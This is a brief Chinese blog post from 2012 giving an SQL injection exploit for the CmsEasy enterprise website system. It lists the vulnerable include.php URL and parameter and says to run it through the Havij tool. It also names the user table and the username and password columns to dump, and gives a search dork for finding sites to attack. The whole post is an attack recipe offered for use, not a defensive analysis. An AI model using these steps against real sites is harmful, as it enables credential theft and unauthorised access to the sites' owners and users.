易通企业网站系统最新注入漏洞
(2012-08-09 07:45:25)
标签:
it |
分类: 技术文章 |
易通企业网站系统最新注入漏洞。
注入EXP:
http://www.xxxxxx.com/celive/js/include.php?cmseasylive=1111&departmentid=0
直接放Havij里面跑。错误关键字:online.gif
添加表名:cmseasy_user
列表:userid,username,password
百度关键字:Powered by CmsEasy
后一篇:Hosts文件